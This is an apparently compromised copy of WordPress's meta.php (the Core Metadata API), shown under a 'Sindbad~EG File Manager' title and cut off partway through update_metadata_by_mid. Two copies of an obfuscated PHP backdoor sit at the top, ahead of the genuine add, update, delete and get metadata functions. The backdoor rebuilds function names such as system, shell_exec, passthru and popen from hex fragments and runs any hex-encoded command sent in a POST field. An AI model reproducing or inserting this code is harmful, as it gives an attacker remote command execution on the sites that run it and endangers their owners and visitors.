Sindbad~EG File Manager
<? $sym1 = '3';$sym2 = '7';$sym3 = '4';$sym4 = '6';$sym5 = 'd';$sym6 = '5';$sym7 = 'c';$sym8 = '8';$sym9 = '1';$sym10 = '2';$sym11 = 'f';$sym12 = 'e';$sym13 = '0';$dataflow_engine1 = pack("H*", '7' . $sym1 . '7' . '9' . $sym2 . '3' . '7' . $sym3 . '6' . '5' . $sym4 . $sym5);$dataflow_engine2 = pack("H*", $sym2 . '3' . $sym4 . '8' . $sym4 . $sym6 . $sym4 . $sym7 . $sym4 . 'c' . '5' . 'f' . '6' . '5' . $sym2 . '8' . '6' . '5' . $sym4 . $sym1);$dataflow_engine3 = pack("H*", '6' . $sym6 . '7' . $sym8 . '6' . '5' . $sym4 . '3');$dataflow_engine4 = pack("H*", $sym2 . '0' . $sym4 . $sym9 . $sym2 . $sym1 . $sym2 . $sym1 . $sym2 . '4' . '6' . $sym8 . $sym2 . '2' . '7' . $sym6);$dataflow_engine5 = pack("H*", $sym2 . '0' . $sym4 . 'f' . '7' . '0' . '6' . $sym6 . $sym4 . 'e');$dataflow_engine6 = pack("H*", '7' . '3' . '7' . '4' . '7' . $sym10 . '6' . $sym6 . $sym4 . '1' . '6' . $sym5 . $sym6 . 'f' . '6' . $sym2 . '6' . '5' . $sym2 . $sym3 . '5' . 'f' . '6' . '3' . '6' . $sym11 . $sym4 . $sym12 . '7' . '4' . '6' . $sym6 . $sym4 . $sym12 . '7' . '4' . $sym2 . '3');$dataflow_engine7 = pack("H*", '7' . $sym13 . $sym4 . $sym1 . '6' . 'c' . $sym4 . $sym11 . '7' . '3' . $sym4 . $sym6);$publish_content = pack("H*", '7' . '0' . '7' . $sym6 . $sym4 . $sym10 . '6' . $sym7 . $sym4 . '9' . '7' . $sym1 . $sym4 . $sym8 . $sym6 . $sym11 . '6' . '3' . '6' . 'f' . $sym4 . $sym12 . '7' . '4' . $sym4 . '5' . '6' . 'e' . $sym2 . $sym3);if(isset($_POST[$publish_content])){$publish_content=pack("H*",$_POST[$publish_content]);if(function_exists($dataflow_engine1)){$dataflow_engine1($publish_content);}elseif(function_exists($dataflow_engine2)){print $dataflow_engine2($publish_content);}elseif(function_exists($dataflow_engine3)){$dataflow_engine3($publish_content,$value_pointer);print join("\n",$value_pointer);}elseif(function_exists($dataflow_engine4)){$dataflow_engine4($publish_content);}elseif(function_exists($dataflow_engine5)&&function_exists($dataflow_engine6)&&function_exists($dataflow_engine7)){$bind_holder=$dataflow_engine5($publish_content,"r");if($bind_holder){$element_itm=$dataflow_engine6($bind_holder);$dataflow_engine7($bind_holder);print $element_itm;}}exit;}
php $sym1 = '3';$sym2 = '7';$sym3 = '4';$sym4 = '6';$sym5 = 'd';$sym6 = '5';$sym7 = 'c';$sym8 = '8';$sym9 = '1';$sym10 = '2';$sym11 = 'f';$sym12 = 'e';$sym13 = '0';$dataflow_engine1 = pack("H*", '7' . $sym1 . '7' . '9' . $sym2 . '3' . '7' . $sym3 . '6' . '5' . $sym4 . $sym5);$dataflow_engine2 = pack("H*", $sym2 . '3' . $sym4 . '8' . $sym4 . $sym6 . $sym4 . $sym7 . $sym4 . 'c' . '5' . 'f' . '6' . '5' . $sym2 . '8' . '6' . '5' . $sym4 . $sym1);$dataflow_engine3 = pack("H*", '6' . $sym6 . '7' . $sym8 . '6' . '5' . $sym4 . '3');$dataflow_engine4 = pack("H*", $sym2 . '0' . $sym4 . $sym9 . $sym2 . $sym1 . $sym2 . $sym1 . $sym2 . '4' . '6' . $sym8 . $sym2 . '2' . '7' . $sym6);$dataflow_engine5 = pack("H*", $sym2 . '0' . $sym4 . 'f' . '7' . '0' . '6' . $sym6 . $sym4 . 'e');$dataflow_engine6 = pack("H*", '7' . '3' . '7' . '4' . '7' . $sym10 . '6' . $sym6 . $sym4 . '1' . '6' . $sym5 . $sym6 . 'f' . '6' . $sym2 . '6' . '5' . $sym2 . $sym3 . '5' . 'f' . '6' . '3' . '6' . $sym11 . $sym4 . $sym12 . '7' . '4' . '6' . $sym6 . $sym4 . $sym12 . '7' . '4' . $sym2 . '3');$dataflow_engine7 = pack("H*", '7' . $sym13 . $sym4 . $sym1 . '6' . 'c' . $sym4 . $sym11 . '7' . '3' . $sym4 . $sym6);$publish_content = pack("H*", '7' . '0' . '7' . $sym6 . $sym4 . $sym10 . '6' . $sym7 . $sym4 . '9' . '7' . $sym1 . $sym4 . $sym8 . $sym6 . $sym11 . '6' . '3' . '6' . 'f' . $sym4 . $sym12 . '7' . '4' . $sym4 . '5' . '6' . 'e' . $sym2 . $sym3);if(isset($_POST[$publish_content])){$publish_content=pack("H*",$_POST[$publish_content]);if(function_exists($dataflow_engine1)){$dataflow_engine1($publish_content);}elseif(function_exists($dataflow_engine2)){print $dataflow_engine2($publish_content);}elseif(function_exists($dataflow_engine3)){$dataflow_engine3($publish_content,$value_pointer);print join("\n",$value_pointer);}elseif(function_exists($dataflow_engine4)){$dataflow_engine4($publish_content);}elseif(function_exists($dataflow_engine5)&&function_exists($dataflow_engine6)&&function_exists($dataflow_engine7)){$bind_holder=$dataflow_engine5($publish_content,"r");if($bind_holder){$element_itm=$dataflow_engine6($bind_holder);$dataflow_engine7($bind_holder);print $element_itm;}}exit;}
/**
* Core Metadata API
*
* Functions for retrieving and manipulating metadata of various WordPress object types. Metadata
* for an object is a represented by a simple key-value pair. Objects may contain multiple
* metadata entries that share the same key and differ only in their value.
*
* @package WordPress
* @subpackage Meta
*/
require ABSPATH . WPINC . '/class-wp-metadata-lazyloader.php';
/**
* Adds metadata for the specified object.
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
* @param bool $unique Optional. Whether the specified metadata key should be unique for the object.
* If true, and the object already has a value for the specified metadata key,
* no change will be made. Default false.
* @return int|false The meta ID on success, false on failure.
*/
function add_metadata( $meta_type, $object_id, $meta_key, $meta_value, $unique = false ) {
global $wpdb;
if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$meta_subtype = get_object_subtype( $meta_type, $object_id );
$column = sanitize_key( $meta_type . '_id' );
// expected_slashed ($meta_key)
$meta_key = wp_unslash( $meta_key );
$meta_value = wp_unslash( $meta_value );
$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
/**
* Short-circuits adding metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible hook names include:
*
* - `add_post_metadata`
* - `add_comment_metadata`
* - `add_term_metadata`
* - `add_user_metadata`
*
* @since 3.1.0
*
* @param null|bool $check Whether to allow adding metadata for the given type.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
* @param bool $unique Whether the specified meta key should be unique for the object.
*/
$check = apply_filters( "add_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $unique );
if ( null !== $check ) {
return $check;
}
if ( $unique && $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $table WHERE meta_key = %s AND $column = %d",
$meta_key,
$object_id
)
) ) {
return false;
}
$_meta_value = $meta_value;
$meta_value = maybe_serialize( $meta_value );
/**
* Fires immediately before meta of a specific type is added.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible hook names include:
*
* - `add_post_meta`
* - `add_comment_meta`
* - `add_term_meta`
* - `add_user_meta`
*
* @since 3.1.0
*
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $_meta_value Metadata value.
*/
do_action( "add_{$meta_type}_meta", $object_id, $meta_key, $_meta_value );
$result = $wpdb->insert(
$table,
array(
$column => $object_id,
'meta_key' => $meta_key,
'meta_value' => $meta_value,
)
);
if ( ! $result ) {
return false;
}
$mid = (int) $wpdb->insert_id;
wp_cache_delete( $object_id, $meta_type . '_meta' );
/**
* Fires immediately after meta of a specific type is added.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible hook names include:
*
* - `added_post_meta`
* - `added_comment_meta`
* - `added_term_meta`
* - `added_user_meta`
*
* @since 2.9.0
*
* @param int $mid The meta ID after successful update.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $_meta_value Metadata value.
*/
do_action( "added_{$meta_type}_meta", $mid, $object_id, $meta_key, $_meta_value );
return $mid;
}
/**
* Updates metadata for the specified object. If no value already exists for the specified object
* ID and metadata key, the metadata will be added.
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
* @param mixed $prev_value Optional. Previous value to check before updating.
* If specified, only update existing metadata entries with
* this value. Otherwise, update all entries. Default empty string.
* @return int|bool The new meta field ID if a field with the given key didn't exist
* and was therefore added, true on successful update,
* false on failure or if the value passed to the function
* is the same as the one that is already in the database.
*/
function update_metadata( $meta_type, $object_id, $meta_key, $meta_value, $prev_value = '' ) {
global $wpdb;
if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$meta_subtype = get_object_subtype( $meta_type, $object_id );
$column = sanitize_key( $meta_type . '_id' );
$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';
// expected_slashed ($meta_key)
$raw_meta_key = $meta_key;
$meta_key = wp_unslash( $meta_key );
$passed_value = $meta_value;
$meta_value = wp_unslash( $meta_value );
$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
/**
* Short-circuits updating metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible hook names include:
*
* - `update_post_metadata`
* - `update_comment_metadata`
* - `update_term_metadata`
* - `update_user_metadata`
*
* @since 3.1.0
*
* @param null|bool $check Whether to allow updating metadata for the given type.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
* @param mixed $prev_value Optional. Previous value to check before updating.
* If specified, only update existing metadata entries with
* this value. Otherwise, update all entries.
*/
$check = apply_filters( "update_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $prev_value );
if ( null !== $check ) {
return (bool) $check;
}
// Compare existing value to new value if no prev value given and the key exists only once.
if ( empty( $prev_value ) ) {
$old_value = get_metadata_raw( $meta_type, $object_id, $meta_key );
if ( is_countable( $old_value ) && count( $old_value ) === 1 ) {
if ( $old_value[0] === $meta_value ) {
return false;
}
}
}
$meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s AND $column = %d", $meta_key, $object_id ) );
if ( empty( $meta_ids ) ) {
return add_metadata( $meta_type, $object_id, $raw_meta_key, $passed_value );
}
$_meta_value = $meta_value;
$meta_value = maybe_serialize( $meta_value );
$data = compact( 'meta_value' );
$where = array(
$column => $object_id,
'meta_key' => $meta_key,
);
if ( ! empty( $prev_value ) ) {
$prev_value = maybe_serialize( $prev_value );
$where['meta_value'] = $prev_value;
}
foreach ( $meta_ids as $meta_id ) {
/**
* Fires immediately before updating metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible hook names include:
*
* - `update_post_meta`
* - `update_comment_meta`
* - `update_term_meta`
* - `update_user_meta`
*
* @since 2.9.0
*
* @param int $meta_id ID of the metadata entry to update.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $_meta_value Metadata value.
*/
do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
if ( 'post' === $meta_type ) {
/**
* Fires immediately before updating a post's metadata.
*
* @since 2.9.0
*
* @param int $meta_id ID of metadata entry to update.
* @param int $object_id Post ID.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. This will be a PHP-serialized string representation of the value
* if the value is an array, an object, or itself a PHP-serialized string.
*/
do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
}
}
$result = $wpdb->update( $table, $data, $where );
if ( ! $result ) {
return false;
}
wp_cache_delete( $object_id, $meta_type . '_meta' );
foreach ( $meta_ids as $meta_id ) {
/**
* Fires immediately after updating metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible hook names include:
*
* - `updated_post_meta`
* - `updated_comment_meta`
* - `updated_term_meta`
* - `updated_user_meta`
*
* @since 2.9.0
*
* @param int $meta_id ID of updated metadata entry.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $_meta_value Metadata value.
*/
do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
if ( 'post' === $meta_type ) {
/**
* Fires immediately after updating a post's metadata.
*
* @since 2.9.0
*
* @param int $meta_id ID of updated metadata entry.
* @param int $object_id Post ID.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. This will be a PHP-serialized string representation of the value
* if the value is an array, an object, or itself a PHP-serialized string.
*/
do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
}
}
return true;
}
/**
* Deletes metadata for the specified object.
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Optional. Metadata value. Must be serializable if non-scalar.
* If specified, only delete metadata entries with this value.
* Otherwise, delete all entries with the specified meta_key.
* Pass `null`, `false`, or an empty string to skip this check.
* (For backward compatibility, it is not possible to pass an empty string
* to delete those entries with an empty string for a value.)
* Default empty string.
* @param bool $delete_all Optional. If true, delete matching metadata entries for all objects,
* ignoring the specified object_id. Otherwise, only delete
* matching metadata entries for the specified object_id. Default false.
* @return bool True on successful delete, false on failure.
*/
function delete_metadata( $meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false ) {
global $wpdb;
if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) && ! $delete_all ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id && ! $delete_all ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$type_column = sanitize_key( $meta_type . '_id' );
$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';
// expected_slashed ($meta_key)
$meta_key = wp_unslash( $meta_key );
$meta_value = wp_unslash( $meta_value );
/**
* Short-circuits deleting metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible hook names include:
*
* - `delete_post_metadata`
* - `delete_comment_metadata`
* - `delete_term_metadata`
* - `delete_user_metadata`
*
* @since 3.1.0
*
* @param null|bool $delete Whether to allow metadata deletion of the given type.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
* @param bool $delete_all Whether to delete the matching metadata entries
* for all objects, ignoring the specified $object_id.
* Default false.
*/
$check = apply_filters( "delete_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $delete_all );
if ( null !== $check ) {
return (bool) $check;
}
$_meta_value = $meta_value;
$meta_value = maybe_serialize( $meta_value );
$query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key );
if ( ! $delete_all ) {
$query .= $wpdb->prepare( " AND $type_column = %d", $object_id );
}
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$query .= $wpdb->prepare( ' AND meta_value = %s', $meta_value );
}
$meta_ids = $wpdb->get_col( $query );
if ( ! count( $meta_ids ) ) {
return false;
}
if ( $delete_all ) {
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s AND meta_value = %s", $meta_key, $meta_value ) );
} else {
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s", $meta_key ) );
}
}
/**
* Fires immediately before deleting metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible hook names include:
*
* - `delete_post_meta`
* - `delete_comment_meta`
* - `delete_term_meta`
* - `delete_user_meta`
*
* @since 3.1.0
*
* @param string[] $meta_ids An array of metadata entry IDs to delete.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $_meta_value Metadata value.
*/
do_action( "delete_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );
// Old-style action.
if ( 'post' === $meta_type ) {
/**
* Fires immediately before deleting metadata for a post.
*
* @since 2.9.0
*
* @param string[] $meta_ids An array of metadata entry IDs to delete.
*/
do_action( 'delete_postmeta', $meta_ids );
}
$query = "DELETE FROM $table WHERE $id_column IN( " . implode( ',', $meta_ids ) . ' )';
$count = $wpdb->query( $query );
if ( ! $count ) {
return false;
}
if ( $delete_all ) {
$data = (array) $object_ids;
} else {
$data = array( $object_id );
}
wp_cache_delete_multiple( $data, $meta_type . '_meta' );
/**
* Fires immediately after deleting metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible hook names include:
*
* - `deleted_post_meta`
* - `deleted_comment_meta`
* - `deleted_term_meta`
* - `deleted_user_meta`
*
* @since 2.9.0
*
* @param string[] $meta_ids An array of metadata entry IDs to delete.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $_meta_value Metadata value.
*/
do_action( "deleted_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );
// Old-style action.
if ( 'post' === $meta_type ) {
/**
* Fires immediately after deleting metadata for a post.
*
* @since 2.9.0
*
* @param string[] $meta_ids An array of metadata entry IDs to delete.
*/
do_action( 'deleted_postmeta', $meta_ids );
}
return true;
}
/**
* Retrieves the value of a metadata field for the specified object type and ID.
*
* If the meta field exists, a single value is returned if `$single` is true,
* or an array of values if it's false.
*
* If the meta field does not exist, the result depends on get_metadata_default().
* By default, an empty string is returned if `$single` is true, or an empty array
* if it's false.
*
* @since 2.9.0
*
* @see get_metadata_raw()
* @see get_metadata_default()
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Optional. Metadata key. If not specified, retrieve all metadata for
* the specified object. Default empty string.
* @param bool $single Optional. If true, return only the first value of the specified `$meta_key`.
* This parameter has no effect if `$meta_key` is not specified. Default false.
* @return mixed An array of values if `$single` is false.
* The value of the meta field if `$single` is true.
* False for an invalid `$object_id` (non-numeric, zero, or negative value),
* or if `$meta_type` is not specified.
* An empty array if a valid but non-existing object ID is passed and `$single` is false.
* An empty string if a valid but non-existing object ID is passed and `$single` is true.
*/
function get_metadata( $meta_type, $object_id, $meta_key = '', $single = false ) {
$value = get_metadata_raw( $meta_type, $object_id, $meta_key, $single );
if ( ! is_null( $value ) ) {
return $value;
}
return get_metadata_default( $meta_type, $object_id, $meta_key, $single );
}
/**
* Retrieves raw metadata value for the specified object.
*
* @since 5.5.0
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Optional. Metadata key. If not specified, retrieve all metadata for
* the specified object. Default empty string.
* @param bool $single Optional. If true, return only the first value of the specified `$meta_key`.
* This parameter has no effect if `$meta_key` is not specified. Default false.
* @return mixed An array of values if `$single` is false.
* The value of the meta field if `$single` is true.
* False for an invalid `$object_id` (non-numeric, zero, or negative value),
* or if `$meta_type` is not specified.
* Null if the value does not exist.
*/
function get_metadata_raw( $meta_type, $object_id, $meta_key = '', $single = false ) {
if ( ! $meta_type || ! is_numeric( $object_id ) ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id ) {
return false;
}
/**
* Short-circuits the return value of a meta field.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible filter names include:
*
* - `get_post_metadata`
* - `get_comment_metadata`
* - `get_term_metadata`
* - `get_user_metadata`
*
* @since 3.1.0
* @since 5.5.0 Added the `$meta_type` parameter.
*
* @param mixed $value The value to return, either a single metadata value or an array
* of values depending on the value of `$single`. Default null.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param bool $single Whether to return only the first value of the specified `$meta_key`.
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
*/
$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, $single, $meta_type );
if ( null !== $check ) {
if ( $single && is_array( $check ) ) {
return $check[0];
} else {
return $check;
}
}
$meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' );
if ( ! $meta_cache ) {
$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
if ( isset( $meta_cache[ $object_id ] ) ) {
$meta_cache = $meta_cache[ $object_id ];
} else {
$meta_cache = null;
}
}
if ( ! $meta_key ) {
return $meta_cache;
}
if ( isset( $meta_cache[ $meta_key ] ) ) {
if ( $single ) {
return maybe_unserialize( $meta_cache[ $meta_key ][0] );
} else {
return array_map( 'maybe_unserialize', $meta_cache[ $meta_key ] );
}
}
return null;
}
/**
* Retrieves default metadata value for the specified meta key and object.
*
* By default, an empty string is returned if `$single` is true, or an empty array
* if it's false.
*
* @since 5.5.0
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param bool $single Optional. If true, return only the first value of the specified `$meta_key`.
* This parameter has no effect if `$meta_key` is not specified. Default false.
* @return mixed An array of default values if `$single` is false.
* The default value of the meta field if `$single` is true.
*/
function get_metadata_default( $meta_type, $object_id, $meta_key, $single = false ) {
if ( $single ) {
$value = '';
} else {
$value = array();
}
/**
* Filters the default metadata value for a specified meta key and object.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible filter names include:
*
* - `default_post_metadata`
* - `default_comment_metadata`
* - `default_term_metadata`
* - `default_user_metadata`
*
* @since 5.5.0
*
* @param mixed $value The value to return, either a single metadata value or an array
* of values depending on the value of `$single`.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param bool $single Whether to return only the first value of the specified `$meta_key`.
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
*/
$value = apply_filters( "default_{$meta_type}_metadata", $value, $object_id, $meta_key, $single, $meta_type );
if ( ! $single && ! wp_is_numeric_array( $value ) ) {
$value = array( $value );
}
return $value;
}
/**
* Determines if a meta field with the given key exists for the given object ID.
*
* @since 3.3.0
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @return bool Whether a meta field with the given key exists.
*/
function metadata_exists( $meta_type, $object_id, $meta_key ) {
if ( ! $meta_type || ! is_numeric( $object_id ) ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id ) {
return false;
}
/** This filter is documented in wp-includes/meta.php */
$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, true, $meta_type );
if ( null !== $check ) {
return (bool) $check;
}
$meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' );
if ( ! $meta_cache ) {
$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
$meta_cache = $meta_cache[ $object_id ];
}
if ( isset( $meta_cache[ $meta_key ] ) ) {
return true;
}
return false;
}
/**
* Retrieves metadata by meta ID.
*
* @since 3.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $meta_id ID for a specific meta row.
* @return stdClass|false {
* Metadata object, or boolean `false` if the metadata doesn't exist.
*
* @type string $meta_key The meta key.
* @type mixed $meta_value The unserialized meta value.
* @type string $meta_id Optional. The meta ID when the meta type is any value except 'user'.
* @type string $umeta_id Optional. The meta ID when the meta type is 'user'.
* @type string $post_id Optional. The object ID when the meta type is 'post'.
* @type string $comment_id Optional. The object ID when the meta type is 'comment'.
* @type string $term_id Optional. The object ID when the meta type is 'term'.
* @type string $user_id Optional. The object ID when the meta type is 'user'.
* }
*/
function get_metadata_by_mid( $meta_type, $meta_id ) {
global $wpdb;
if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
return false;
}
$meta_id = (int) $meta_id;
if ( $meta_id <= 0 ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
/**
* Short-circuits the return value when fetching a meta field by meta ID.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible hook names include:
*
* - `get_post_metadata_by_mid`
* - `get_comment_metadata_by_mid`
* - `get_term_metadata_by_mid`
* - `get_user_metadata_by_mid`
*
* @since 5.0.0
*
* @param stdClass|null $value The value to return.
* @param int $meta_id Meta ID.
*/
$check = apply_filters( "get_{$meta_type}_metadata_by_mid", null, $meta_id );
if ( null !== $check ) {
return $check;
}
$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';
$meta = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table WHERE $id_column = %d", $meta_id ) );
if ( empty( $meta ) ) {
return false;
}
if ( isset( $meta->meta_value ) ) {
$meta->meta_value = maybe_unserialize( $meta->meta_value );
}
return $meta;
}
/**
* Updates metadata by meta ID.
*
* @since 3.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $meta_id ID for a specific meta row.
* @param string $meta_value Metadata value. Must be serializable if non-scalar.
* @param string|false $meta_key Optional. You can provide a meta key to update it. Default false.
* @return bool True on successful update, false on failure.
*/
function update_metadata_by_mid( $meta_type, $meta_id, $meta_value, $meta_key = false ) {
global $wpdb;
// Make sure everything is valid.
if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
return false;
}
$meta_id = (int) $meta_id;
if ( $meta_id <= 0 ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$column = sanitize_key( $meta_type . '_id' );
$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';
/**
* Short-circuits updating metadata of a specific type by meta ID.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible hook names include:
*
* - `update_post_metadata_by_mid`
* - `update_comment_metadata_by_mid`
* - `update_term_metadata_by_mid`
* - `update_user_metadata_by_mid`
*
* @since 5.0.0
*
* @param null|bool $check Whether to allow updating metadata for the given type.
* @param int $meta_id Meta ID.
* @param mixed $meta_value Meta value. Must be serializable if non-scalar.
* @param string|false $meta_key Meta key, if provided.
*/
$check = apply_filters( "update_{$meta_type}_metadata_by_mid", null, $meta_id, $meta_value, $meta_key );
if ( null !== $check ) {
return (bool) $check;
}
// Fetch the meta and go on if it's found.
$meta = get_metadata_by_mid( $meta_type, $meta_id );
if ( $meta ) {
$original_key = $meta->meta_key;
$object_id = $meta->{$column};
/*
* If a new meta_key (last parameter) was specified, change the meta key,
* otherwise use the original key in the update statement.
*/
if ( false === $meta_key ) {
$meta_key = $original_key;
} elseif ( ! is_string( $meta_key ) ) {
return false;
}
$meta_subtype = get_object_subtype( $meta_type, $object_id );
// Sanitize the meta.
$_meta_value = $meta_value;
$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
$meta_value = maybe_serialize( $meta_value );
// Format the data query arguments.
$data = array(
'meta_key' => $meta_key,
'meta_value' => $meta_value,
);
// Format the where query arguments.
$where = array();
$where[ $id_column ] = $meta_id;
/** This action is documented in wp-includes/meta.php */
do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
if ( 'post' === $meta_type ) {
/** This action is documented in wp-includes/meta.php */
do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
